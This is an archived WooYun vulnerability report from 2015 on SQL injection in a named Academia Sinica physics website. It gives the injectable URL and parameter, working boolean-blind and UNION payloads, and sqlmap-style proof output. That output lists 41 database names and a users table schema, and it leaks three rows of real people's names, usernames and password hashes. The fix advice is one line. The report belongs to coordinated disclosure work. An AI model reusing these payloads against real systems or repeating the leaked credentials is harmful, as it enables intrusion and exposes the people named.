当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-0118074

漏洞标题:台湾中央研究院某网站SQL漏洞

相关厂商:台湾中央研究所

漏洞作者: 好学生

提交时间:2015-06-04 14:57

修复时间:2015-07-21 03:58

公开时间:2015-07-21 03:58

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:12

漏洞状态:已交由第三方合作机构(Hitcon台湾互联网漏洞报告平台)处理

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-06-04: 细节已通知厂商并且等待厂商处理中
2015-06-06: 厂商已经确认,细节仅向厂商公开
2015-06-16: 细节向核心白帽子及相关领域专家公开
2015-06-26: 细节向普通白帽子公开
2015-07-06: 细节向实习白帽子公开
2015-07-21: 细节向公众公开

简要描述:

存在SQL注入漏洞,可查看数据库、表及表内容等隐私信息。

详细说明:

注入点:
http://www.phys.sinica.edu.tw/directory_user.php?id_key=7
---
Parameter: id_key (GET)
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: id_key=7 AND 2179=2179
Type: UNION query
Title: Generic UNION query (NULL) - 4 columns
Payload: id_key=7 UNION ALL SELECT NULL,NULL,CONCAT(0x717a627671,0x574d70707
54a644d6e70,0x717a766a71),NULL--
---

漏洞证明:

[20:13:37] [INFO] testing MySQL
[20:13:39] [INFO] confirming MySQL
[20:13:44] [INFO] the back-end DBMS is MySQL
web server operating system: Linux CentOS 6.5
web application technology: PHP 5.5.21, Apache 2.2.15
back-end DBMS: MySQL >= 5.0.0
[20:13:44] [INFO] fetching database names
available databases [41]:
[*] #mysql50#lost+found
[*] #mysql50#mysql.old
[*] academia
[*] acclab
[*] admin_document
[*] adminsys
[*] applysys
[*] auto_web
[*] bspl
[*] calendar
[*] Computer_room
[*] dayoffsys
[*] document
[*] emergercy
[*] engineer
[*] forums
[*] goods
[*] hpmachine
[*] hssp
[*] imaging
[*] information_schema
[*] intranet
[*] jobfaq
[*] lab
[*] library
[*] material
[*] meal
[*] meeting
[*] mysql
[*] nano_public_facility
[*] nanofacility
[*] nonlinear
[*] nscsys
[*] nscsystem
[*] performance_schema
[*] physadmin
[*] purchase
[*] repair
[*] student
[*] teacher
[*] wwwgroup
选择一个数据库爆一下表
Database: physadmin
Table: users
[8 columns]
+----------+-------------+
| Column | Type |
+----------+-------------+
| email | varchar(50) |
| memberid | int(11) |
| memtype | tinyint(2) |
| name | varchar(20) |
| notes | varchar(50) |
| pass | varchar(50) |
| uid | int(11) |
| uname | varchar(25) |
+----------+-------------
Database: physadmin
Table: users
[176 entries]
+-----------+--------------+---------------+
| name | uname | pass |
+-----------+--------------+---------------+
| 李世炳 | spli | WS9QtSZEiGZpU |
| 簡明宏 | ddj | ZgFls.ZLzhR/s |
| 吳昭儀 | jywu | a$yZsmEaVPzrA |

修复方案:

增加过滤。

版权声明:转载请注明来源 好学生@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:15

确认时间:2015-06-06 03:57

厂商回复:

感謝通報

最新状态:

暂无


漏洞评价:

评论